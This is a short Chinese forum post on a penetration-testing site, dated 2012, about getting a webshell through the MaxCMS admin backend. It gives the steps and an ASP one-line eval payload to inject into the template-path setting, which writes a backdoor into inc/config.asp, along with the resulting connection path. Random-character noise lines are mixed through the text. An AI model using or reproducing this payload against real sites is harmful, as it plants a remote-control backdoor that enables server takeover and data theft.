中国网络渗透测试联盟

标题: 马克思cms后台拿webshell方法 [打印本页]

作者: admin    时间: 2012-12-22 13:43
标题: 马克思cms后台拿webshell方法
马克思cms后台拿webshell方法0 S8 B) A/ v& r" G

这个方法容易引起出错,如果用这个方法建议用最快的速度给恢复。

系统-》站点配置-》模板与路径设置-》模板文件所在文件夹/ K2 ^0 V. v8 H7 n( K+ j
html

改为

html"%><%eval request("123")%><%'
! L. F% h# Y, W- O) C7 J0 F0 E/ z0 A& V- m8 p+ ]: G2 O
点 确认更新得到一句话连接地址:http://www.xxx.co[attach]141[/attach]m/max/inc/config.asp
* ]' ^; z3 w2 [0 }1 P9 Q0 y+ U5 G& \




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2